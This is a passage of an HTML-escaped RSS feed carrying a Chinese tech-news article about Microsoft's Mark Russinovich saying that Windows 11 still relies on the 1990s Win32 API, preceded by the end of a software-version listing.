leaf=&quot;&quot;&gt;Adobe Character Animator 2026 v26.0.0&lt;/span&gt;&lt;/code&gt;&lt;code style=&quot;color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;小滴云手机电脑版 v2.2.0.0&lt;/span&gt;&lt;/code&gt;&lt;code style=&quot;color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;WorkBuddy（腾讯版“小龙虾“） v4.10.0.25559938&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 13 May 2026 16:40:34 +0800</pubDate></item><item><title>“飞行汽车没来，但Win32还活着”！微软CTO亲口承认：Win11还在靠90年代「祖传代码」撑着</title><link>https://www.kinber.cn/post/6545.html</link><description>&lt;p style=&quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px; visibility: visible;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span data-font-family=&quot;default&quot; style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px; visibility: visible;&quot;&gt;2026 年了，很多人小时候幻想中的“未来世界”并没有真正到来。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px; visibility: visible;&quot;&gt;&lt;span data-font-family=&quot;default&quot; style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px; visibility: visible;&quot;&gt;没有满天飞的汽车，也没有普及的月球基地，但有一件事却顽强地延续了下来——30 多年前写下的 Windows 代码，至今仍在驱动着全球数亿台电脑。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px; visibility: visible;&quot;&gt;&lt;span data-font-family=&quot;default&quot; style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px; visibility: visible;&quot;&gt;最近，微软 Azure 首席技术官 Mark Russinovich 在一次采访中的表态，引发了大量开发者关注。他公开承认：今天的 Windows 11，其底层依然建立在 90 年代诞生的 Win32 API 之上，而这套东西，至今仍是 Windows 的“基石”。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px; visibility: visible;&quot;&gt;&lt;span data-font-family=&quot;default&quot; style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px; visibility: visible;&quot;&gt;这&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot; style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px; visibility: visible;&quot;&gt;句话，让不少程序员瞬间破防&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot; style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px; visibility: visible;&quot;&gt;：&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot; style=&quot;visibility: visible;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px; visibility: visible;&quot;&gt;毕竟，很&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px; visibility: visible;&quot; data-font-family=&quot;default&quot;&gt;多人&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px; visibility: visible;&quot; data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;一边吐&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;槽&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;visibility: visible;&quot;&gt;&amp;nbsp;Windows“祖传代码太多”，另一边却又不得不承认&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px; visibility: visible;&quot; data-font-family=&quot;default&quot;&gt;，&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px; visibility: visible;&quot; data-font-family=&quot;default&quot;&gt;微软可能真的没法摆脱它。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px; visibility: visible;&quot;&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px; visibility: visible;&quot; data-font-family=&quot;default&quot;&gt;&lt;span style=&quot;color: rgba(0, 0, 0, 0.9); font-family: &amp;quot;PingFang SC&amp;quot;, system-ui, -apple-system, BlinkMacSystemFont, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; font-size: 15px; white-space: pre-wrap; background-color: #FFFFFF;&quot;&gt;当年那个说“以后浏览器就是操作系统”的毛头小伙做的ie6的系统，早就随着浏览器和操作系统的进化，灰飞烟灭。但老夫在他还未懂编码时就写的win32的PB软件，仍在用户的计算机里发挥作用。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;section style=&quot;margin-right: 8px; margin-bottom: 15px; margin-left: 8px; color: rgb(51, 51, 51); font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif; background-color: rgb(255, 255, 255); line-height: 1.75em; letter-spacing: 1px; text-align: center; visibility: visible;&quot; nodeleaf=&quot;&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163705_22916.png&quot; class=&quot;rich_pages wxw-img js_insertlocalimg&quot; data-ratio=&quot;0.6260162601626016&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;984&quot; type=&quot;block&quot; data-imgfileid=&quot;100347288&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;4&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163705_22916.png&quot; _width=&quot;677px&quot; style=&quot;height: auto !important; visibility: visible !important; width: 661px !important;&quot; alt=&quot;图片&quot; data-before-load-time=&quot;1778639009505&quot; data-report-img-idx=&quot;1&quot; data-fail=&quot;0&quot;/&gt;&lt;/section&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;section style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot; nodeleaf=&quot;&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163706_55297.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;0.11428571428571428&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;700&quot; type=&quot;block&quot; data-imgfileid=&quot;100252192&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;5&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163706_55297.png&quot; _width=&quot;677px&quot; style=&quot;height: auto !important; visibility: visible !important; width: 661px !important;&quot; alt=&quot;图片&quot; data-before-load-time=&quot;1778661373811&quot; data-report-img-idx=&quot;2&quot; data-fail=&quot;0&quot;/&gt;&lt;/section&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;“2026 年应该有飞行汽车&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;了&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;，而不是 Win32”&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;事情起源于微软开发者官方账号发布的一段采访视频。采访中，有人问了 Russinovich 一个颇具时代感的问&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;题：&lt;/span&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;“当年 90 年代的微软工程师是否想过，Win32 到了 2026 年仍会是 Windows 的核心 API？”&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163707_79328.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;1.2117202268431002&quot; data-type=&quot;png&quot; data-w=&quot;1058&quot; height=&quot;454.849&quot; style=&quot;margin-left: 0px; margin-top: 0px; width: 328px !important; height: auto !important; visibility: visible !important;&quot; width=&quot;375.375&quot; data-imgfileid=&quot;100347287&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;margin-left:0px;margin-top:0px;width:328px;height:397px;&quot; data-index=&quot;6&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163707_79328.png&quot; _width=&quot;328px&quot; alt=&quot;图片&quot; data-before-load-time=&quot;1778661373844&quot; data-report-img-idx=&quot;3&quot; data-fail=&quot;0&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;“没有人会这么想”&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;Russinovich 的回答相当坦率&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，甚至还&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;调侃道：“我们当年想的是，到了 2026 年，人类应该已经拥有飞行汽车和月球空间站了，而不是还在讨论 Win32。”&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;这句话迅速在开发者社区传播开来&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;因为它揭开了一个很多人平时“知道但又容易忽略”的现实：如今&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;看起来现代化的 Windows 11，其实是一个典型的“新旧混合体”。&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;你在开始菜单里看到的是 &lt;span class=&quot;&quot; link-id=&quot;link-1778639009149-0.2980480894090347&quot;&gt;Fluent Design&lt;/span&gt;、Copilot 和 AI 功能；但当你打开控制面板、&lt;span class=&quot;&quot; link-id=&quot;link-1778639009167-0.4381079953201532&quot;&gt;设备管理器&lt;/span&gt;甚至某些系统设置时，瞬间又会回到仿佛 Windows XP 甚至更早的年代。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;这种“时空割裂感”，本质上就是 Wind&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;ows 长期演化留下的痕迹。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;section style=&quot;width:17px;margin-top:-30px;margin-bottom:unset;&quot;&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;section style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot; nodeleaf=&quot;&quot;&gt;&lt;img data-src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163708_15326.png&quot; class=&quot;rich_pages wxw-img&quot; data-ratio=&quot;0.11428571428571428&quot; data-s=&quot;300,640&quot; data-type=&quot;png&quot; data-w=&quot;700&quot; type=&quot;block&quot; data-imgfileid=&quot;100252191&quot; data-aistatus=&quot;1&quot; data-original-style=&quot;null&quot; data-index=&quot;8&quot; src=&quot;https://www.kinber.cn/zb_users/upload/2026/05/20260513163708_15326.png&quot; _width=&quot;677px&quot; style=&quot;height: auto !important; visibility: visible !important; width: 661px !important;&quot; alt=&quot;图片&quot; data-before-load-time=&quot;1778661374183&quot; data-report-img-idx=&quot;5&quot; data-fail=&quot;0&quot;/&gt;&lt;/section&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 18px;font-weight: bold;&quot;&gt;为什么 Win32 到现在还没被淘汰？&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;对此，&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;很多人&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;的&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;第一反应&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;可能&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;是：&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;“&lt;/span&gt;&lt;span style=&quot;line-height: 1.75em; font-size: 15px;&quot; data-font-family=&quot;default&quot;&gt;既然&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;这么老了，微软为什么不重写？&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;”&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;答案&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;非常&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;现实：因为整个 Windows 世界，几乎都是建立在 Win32 上面的。Russinovich 在采访中直言，Win32 能活到今天，一个核心原因就是：“太多应用程序和技术生态都构建在它之上了。”&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;letter-spacing: 1px;&quot;&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;简单来说&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;，Win32&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;早已&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;不只是一个 API，而是 Windows 软件生态的“地基”&lt;/span&gt;&lt;/span&gt;&lt;span data-font-family=&quot;default&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 15px;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-right: 8px;margin-bottom: 15px;margin-left: 8px;color: rgb(51, 51, 51);font-family: -apple-system-font, system-ui, &amp;quot;Helvetica Neue&amp;quot;, 